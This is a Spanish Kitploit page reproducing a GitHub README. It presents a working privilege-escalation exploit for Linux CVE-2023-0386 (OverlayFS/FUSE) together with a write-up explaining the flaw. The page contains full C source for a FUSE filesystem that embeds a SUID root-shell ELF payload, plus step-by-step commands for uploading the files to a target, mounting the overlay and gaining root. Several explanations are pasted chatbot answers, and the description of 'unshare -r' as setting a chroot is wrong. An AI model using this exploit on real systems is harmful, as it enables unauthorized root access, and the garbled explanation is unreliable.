Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-0386 — Muy simple exp y análisis de CVE-2023-0386. Usa c y sh. | Kitploit
Herramientas/GitHubGitHub/fanxiaoyao66/cve-2023-0386
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónEscape de ContenedoresExplotación de Binarios
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

Muy simple exp y análisis de CVE-2023-0386. Usa c y sh.

Ver Repositorio
2244hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

typora-copy-images-to: ./image

CVE-2023-0386

Uso del exploit:

Primero: Subir fuse.c y exp.sh al directorio /tmp.

  • Puedes usar scp o python3 -m http.server para subir el archivo al objetivo.

    root@kitploit:~
    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #tu máquina
    

    o

    root@kitploit:~
    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #tu máquina
    
    root@kitploit:~
    wget tu_ip:8000/exp.sh
    wget tu_ip:8000/fuse.c #objetivo
    

Y luego:

root@kitploit:~
cd /tmp
/bin/bash exp.sh

Ahora, ¡eres root!

image-20230628154304898

A continuación se presenta un análisis detallado de CVE-2023-0386.


Ayer estuve estudiando esta vulnerabilidad todo el día. En pocas palabras, cuando OverlayFS copia un archivo de la capa inferior a la capa superior, no verifica si el usuario del espacio de nombres del archivo inferior está mapeado al espacio de nombres del usuario actual, lo que permite configurar el bit SUID para escalar privilegios.

Esto suena muy abstracto. Para entenderlo, primero necesitamos conocer algunos puntos:

  • ¿Qué es OverlayFS?
  • ¿Qué es FUSE?
  • ¿Qué es un espacio de nombres de usuario?
  • ¿Por qué ocurre la escalada de privilegios?

¿Qué es OverlayFS?

ChatGPT: Explica detalladamente OverlayFS en Linux

OverlayFS, también conocido como sistema de archivos superpuesto, es un sistema de archivos conjunto en el kernel de Linux que puede superponer múltiples sistemas de archivos diferentes en uno solo, formando una vista unificada. Fue oficialmente aceptado en el kernel a partir de la versión 3.18.

OverlayFS tiene tres componentes principales: el sistema de archivos inferior, el sistema de archivos superior y el sistema de archivos fusionado. Las funciones de cada uno son:

  1. Sistema de archivos inferior (lower filesystem): Es la capa base, normalmente de solo lectura. Todos los archivos y directorios se obtienen inicialmente de esta capa.

  2. Sistema de archivos superior (upper filesystem): Es la capa superior, normalmente de lectura/escritura. Cuando realizamos operaciones de escritura en el sistema de archivos, todos los cambios se guardan en esta capa. Si un archivo existe en el sistema inferior pero queremos modificarlo, se crea una copia de ese archivo en el sistema superior y luego se modifica. Este proceso se llama "copy-up".

  3. Sistema de archivos fusionado (merged filesystem): Es la vista final de OverlayFS, que combina los sistemas inferior y superior. Cuando realizamos una operación de lectura, OverlayFS primero busca el archivo en el sistema superior; si no lo encuentra, lo busca en el sistema inferior.

La vista lógica de esta estructura es la siguiente:

root@kitploit:~
     ________________
    |                |
    |  Vista unificada|
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Inferior |    |  Superior|
| (solo lectura)| | (lectura/escritura)|
|____________|  |____________|

Una aplicación importante de OverlayFS es en aplicaciones de contenedores, especialmente en Docker. En Docker, cada capa de imagen es de solo lectura y se puede utilizar como sistema de archivos inferior para otros contenedores. Cuando iniciamos un nuevo contenedor, Docker crea un nuevo sistema de archivos superior vacío para él. De esta forma, todos los cambios en el contenedor (como instalar nuevo software) solo afectan al sistema superior, sin afectar a las capas de imagen compartidas.

Además, dado que OverlayFS permite montar múltiples sistemas de archivos inferiores debajo de una capa superior, también podemos crear sistemas de archivos con múltiples niveles, lo que se utiliza ampliamente en las capas de imagen de Docker.


En resumen, la capa inferior es de solo lectura, la capa superior es de lectura/escritura, y la capa fusionada combina ambas para mostrar una vista unificada. Cuando modificamos un archivo que existe en la capa inferior pero no en la superior, se copia exactamente el archivo de la capa inferior a la superior para poder modificarlo. Este es el punto donde se desencadena la vulnerabilidad.

¿Qué es FUSE?

GPT: Eres un experto en el kernel de Linux. Ahora, por favor, explica detalladamente qué es FUSE.

FUSE (Filesystem in Userspace) es un mecanismo para crear sistemas de archivos en el espacio de usuario. Es una interfaz proporcionada por el kernel de Linux que permite a los usuarios desarrollar y ejecutar sus propios sistemas de archivos sin modificar el código del kernel.

El objetivo principal de FUSE es simplificar el desarrollo y uso de nuevos sistemas de archivos. Con FUSE, puedes crear sistemas de archivos personalizados sin necesidad de conocer muchos detalles de las API del kernel. Esto es muy útil para depuración, prototipado rápido, investigación académica, implementación de sistemas de archivos muy especializados (como sistemas de archivos con cifrado transparente, sistemas de archivos de red, etc.), etcétera.

En FUSE, la mayor parte de la lógica del sistema de archivos se ejecuta en el espacio de usuario. Esto facilita el desarrollo porque el espacio de usuario ofrece un entorno de desarrollo más amigable: puedes usar cualquier lenguaje de programación que prefieras, tienes más bibliotecas disponibles, el manejo de errores es más sencillo, etc. Por otro lado, esto también significa que los sistemas de archivos FUSE suelen ser más lentos que los del espacio del kernel, ya que requieren cambios de contexto frecuentes entre el espacio de usuario y el espacio del kernel.

Un sistema de archivos FUSE generalmente consta de dos partes:

  1. Un demonio en el espacio de usuario que implementa la lógica real del sistema de archivos.
  2. El módulo FUSE en el espacio del kernel, que maneja todas las operaciones del sistema de archivos, las reenvía al demonio en el espacio de usuario y devuelve el resultado al llamante.

Al desarrollar un sistema de archivos FUSE, debes implementar una serie de funciones de devolución de llamada que corresponden a diversas operaciones del sistema de archivos, como abrir archivos, leer archivos, escribir archivos, etc. Cuando ocurren estas operaciones, el módulo FUSE del kernel llama a las funciones de devolución de llamada correspondientes y devuelve el resultado al llamante.

En resumen, FUSE proporciona un marco potente para implementar sistemas de archivos en el espacio de usuario, simplifica el desarrollo de sistemas de archivos y permite que estos se extiendan y modifiquen de manera modular.


En realidad, FUSE permite al usuario definir un sistema de archivos personalizado y los archivos que contiene.

Necesitamos escribir código C relacionado con FUSE.

¿Qué es un espacio de nombres de usuario?

Eres un experto en el kernel de Linux. ¿Qué es un espacio de nombres de usuario?

En Linux, un "espacio de nombres" es una característica del kernel que se utiliza para aislar la vista que tiene un proceso de los recursos, de modo que un proceso solo vea los recursos que pertenecen a su mismo espacio de nombres. Cada tipo de espacio de nombres corresponde a un tipo específico de recurso. Por ejemplo, el espacio de nombres de PID (Process ID) se utiliza para aislar los IDs de proceso; el espacio de nombres de red se utiliza para aislar interfaces de red y pilas de red; el espacio de nombres de montaje se utiliza para aislar puntos de montaje del sistema de archivos, etc.

El espacio de nombres de usuario (User Namespace) es un tipo de espacio de nombres de Linux que se utiliza principalmente para aislar IDs de usuario y grupo. Cada espacio de nombres de usuario tiene su propio conjunto de IDs de usuario y grupo. Por ejemplo, un proceso puede ejecutarse como root (UID 0) en el espacio de nombres de usuario A, pero en el espacio de nombres de usuario B, ese mismo proceso podría ser solo un usuario normal.

La ventaja de esto es que, incluso si un proceso tiene privilegios de root dentro de su espacio de nombres de usuario, no puede afectar los recursos de otros espacios de nombres de usuario, porque en esos otros espacios de nombres puede ser solo un usuario normal. Esto aumenta enormemente la seguridad del sistema, de modo que incluso si un contenedor (que en realidad es un conjunto de procesos ejecutándose en su propio conjunto de espacios de nombres) es comprometido, el atacante no puede afectar al sistema anfitrión ni a otros contenedores.

Los espacios de nombres de usuario son una de las tecnologías centrales de los contenedores Linux (como Docker, LXC, etc.). Al usar espacios de nombres de usuario y otros tipos de espacios de nombres, los contenedores pueden proporcionar un aislamiento similar al de las máquinas virtuales sin necesidad de virtualización.

En resumen, el espacio de nombres de usuario es un mecanismo en Linux para aislar IDs de usuario y grupo, y desempeña un papel importante en la mejora de la seguridad del sistema y los contenedores.

¿Qué es el mapeo de espacios de nombres de usuario?

En los espacios de nombres de usuario de Linux, tenemos un concepto muy importante: el mapeo de espacios de nombres de usuario. Este mapeo define cómo se convierten los IDs de usuario y grupo entre diferentes espacios de nombres de usuario. Es decir, un proceso que parece ser root dentro de un espacio de nombres de usuario puede ser solo un usuario no privilegiado en el anfitrión o en otro espacio de nombres.

Este mecanismo de mapeo se puede configurar modificando los archivos /proc/[pid]/uid_map y /proc/[pid]/gid_map, donde [pid] es el PID del proceso. En estos archivos, cada línea es una entrada de mapeo que consta de tres campos: ID dentro del espacio de nombres, ID fuera del espacio de nombres y el rango de ID. Por ejemplo, "0 1000 1" significa que el ID 0 dentro del espacio de nombres se mapea al ID 1000 fuera del espacio de nombres.

Por ejemplo, un proceso que se ejecuta en el espacio de nombres de usuario A puede tener un ID de usuario 0, pareciendo ser root. Pero si en el mapeo del espacio de nombres de usuario mapeamos 0 a 1000, entonces para el espacio de nombres del anfitrión y otros espacios de nombres de usuario, el ID de usuario de ese proceso es 1000, es decir, un usuario normal.

De esta manera, el mapeo de espacios de nombres de usuario proporciona un método para que un proceso tenga permisos completos (por ejemplo, root) dentro de su propio espacio de nombres de usuario, mientras que en otros espacios de nombres sigue siendo solo un usuario normal, lo cual es muy importante para el aislamiento y la seguridad.

¿Por qué ocurre la escalada de privilegios?

Porque los archivos en el sistema de archivos inferior son altamente controlables por el usuario (generados por FUSE). Se puede personalizar cualquier archivo, por ejemplo, un archivo SUID (pero por motivos de seguridad, FUSE tiene algunas restricciones predeterminadas. Una de ellas es que el sistema de archivos montado por defecto tiene la opción nosuid, es decir, los bits setuid y setgid en el sistema de archivos FUSE se ignoran, aunque sea ignorado por FUSE, el bit SUID sigue existiendo). Pero podemos copiar un archivo SUID de un sistema nosuid a la capa superior mediante la característica de OverlayFS. La capa superior es un sistema de archivos normal, lo que provoca que un archivo SUID ilegítimo adquiera permisos SUID reales, logrando así la escalada de privilegios.

Explotación de la vulnerabilidad

Los preparativos requieren crear múltiples directorios para construir un OverlayFS.

root@kitploit:~
cd /tmp
mkdir fuse upper overlay workdir
  • fuse es el directorio donde se encuentra el sistema de archivos personalizado por el usuario, que también actúa como capa inferior del OverlayFS.
  • upper actúa como capa superior del OverlayFS.
  • overlay actúa como capa fusionada del OverlayFS.
  • workdir es el directorio de trabajo del OverlayFS.
  1. Crear el sistema de archivos FUSE.

El siguiente código FUSE está modificado por mí basándome en el de chenaotian. https://github.com/chenaotian/CVE-2023-0386

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";// El sistema de archivos FUSE tiene un archivo llamado hello, aquí está la ruta del archivo
const char hello_str[] = {// Contenido binario del archivo backdoor SUID en el sistema de archivos FUSE
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)// Función de devolución de llamada getattr para obtener información de atributos del archivo o directorio
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {// Permisos del directorio raíz del sistema de archivos FUSE, 0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {// Permisos del archivo hello, 777 con SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); // Tamaño real del archivo hello
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)// Función para obtener información del directorio
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {// Actualmente solo admite ver el directorio raíz de FUSE
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);// Muestra por defecto . y ..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);// El directorio raíz de FUSE tiene un archivo hello

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)// Función de devolución de llamada open para abrir archivos
{
    puts("[+] open_callback");
    puts(path);
    if (strcmp(path, "hello") == 0)
    {
        int fd = open("", fi->flags);

        return -errno;
    }
    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)// Función de devolución de llamada read para leer archivos
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {// Solo admite leer el archivo hello
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);// Devuelve el contenido del archivo hello, que es el array binario anterior
    } else {
        size = 0;
    }

    return size;
}

static int ioctl_callback(const char *p, int cmd, void *arg,
                          struct fuse_file_info *fi, unsigned int flags, void *data)
{
    puts("[+] ioctl callback");
    printf("path %s\n", p);
    printf("cmd 0x%x\n", cmd);
    return 0;
}

static struct fuse_operations hellofs_oper = {// Solo es suficiente implementar las cuatro funciones de devolución de llamada anteriores
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
    .ioctl = ioctl_callback
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);// Registrar funciones de devolución de llamada
}

Agregué una función ioctl_callback basándome en la suya, para usarla más tarde con el comando touch. De lo contrario, se produciría un error indicando que la función no está implementada.

Transferir archivos a la máquina objetivo mediante scp:

root@kitploit:~
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

image-20230628144623425

Compilar:

root@kitploit:~
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
root@kitploit:~
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse  fuse  fuse.c  overlay  upper  workdir

Crear el sistema de archivos FUSE:

root@kitploit:~
./efuse fuse

Se observa que en la carpeta fuse aparece un archivo hello con propietario root y con el bit SUID:

image-20230628144906940

Como en FUSE está configurado como nosuid, aunque lo ejecutemos no podremos escalar privilegios.

  1. Una vez listo el sistema de archivos FUSE, el siguiente paso es crear un espacio de nombres de usuario:
root@kitploit:~
unshare -Urm

unshare es un comando de Linux que se utiliza para "descompartir" ciertos tipos de espacios de nombres del shell actual. Esto permite crear entornos aislados, similares a la virtualización, pero sin necesidad de un sistema operativo completo.

Los parámetros de unshare -Urm son:

  • -U: opción para descompartir el espacio de nombres de usuario. Esto hace que el nuevo shell se ejecute en su propio espacio de nombres de usuario, con mapeos únicos de IDs de usuario y grupo. Esto significa que, aunque el nuevo shell pueda pensar que se ejecuta como root, externamente podría ejecutarse como un usuario no privilegiado diferente.
  • -r: opción para establecer un nuevo directorio raíz (chroot), de modo que el nuevo shell no pueda acceder a otras partes del sistema de archivos real. Esto se utiliza a menudo para proporcionar un entorno aislado, por ejemplo, al compilar software, para evitar que contamine otras partes del sistema.
  • -m: opción para descompartir el espacio de montaje. Esto permite que el nuevo shell cambie puntos de montaje sin afectar a otros procesos. Por ejemplo, puede montar nuevos sistemas de archivos o cambiar las propiedades de los puntos de montaje existentes sin afectar al resto del sistema.

En conjunto, el comando unshare -Urm crea un entorno nuevo y aislado que tiene sus propios usuarios, grupos, puntos de montaje y directorio raíz, completamente aislado del resto del sistema.


  1. Crear el sistema de archivos OverlayFS

Configurar el sistema de archivos FUSE existente como capa inferior, el directorio upper como capa superior y overlay como capa fusionada:

root@kitploit:~
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay

En este punto, en la capa fusionada ya aparece el archivo hello:

image-20230628150045176

Aquí necesitamos modificar el archivo hello para lograr que se copie una copia en el directorio upper. Esto se logra mediante el comando touch.

Si se ejecuta touch sobre un archivo existente, se modifica su timestamp. Al ser modificados los metadatos del archivo, también se desencadena la copia. (Si no se hubiera añadido la función de devolución de llamada ioctl_callback antes, no se podría ejecutar touch).


El comando touch se utiliza principalmente para modificar el tiempo de acceso y el tiempo de modificación de un archivo, o si el archivo no existe, crear un archivo vacío nuevo. En la mayoría de los casos, touch no llama directamente a la función ioctl. Las funciones del sistema que suele invocar incluyen open, close, utimes o utimensat, etc.

ioctl es una llamada al sistema muy genérica que se utiliza para operaciones específicas de dispositivos u otras operaciones que no se pueden expresar con llamadas al sistema estándar. Por ejemplo, se puede utilizar para cambiar la configuración de una terminal o consultar el estado de un dispositivo de red. Sin embargo, touch interactúa principalmente con el sistema de archivos, no con dispositivos, por lo que normalmente no necesita usar ioctl.

No obstante, esto no significa que nunca se llame a ioctl, ya que el sistema de archivos o el controlador del dispositivo pueden proporcionar operaciones ioctl especiales para realizar funciones específicas. Por ejemplo, algunos sistemas de archivos pueden ofrecer una operación ioctl específica para modificar los timestamps de los archivos. Sin embargo, esta situación es muy rara y no forma parte del comportamiento normal del comando touch.


Se puede ver claramente que al ejecutar touch sobre el archivo, obtenemos hello en upper.

image-20230628150319971

Luego salimos del espacio de nombres y ejecutamos upper/hello para escalar privilegios exitosamente.

image-20230628150907762

Descargar herramienta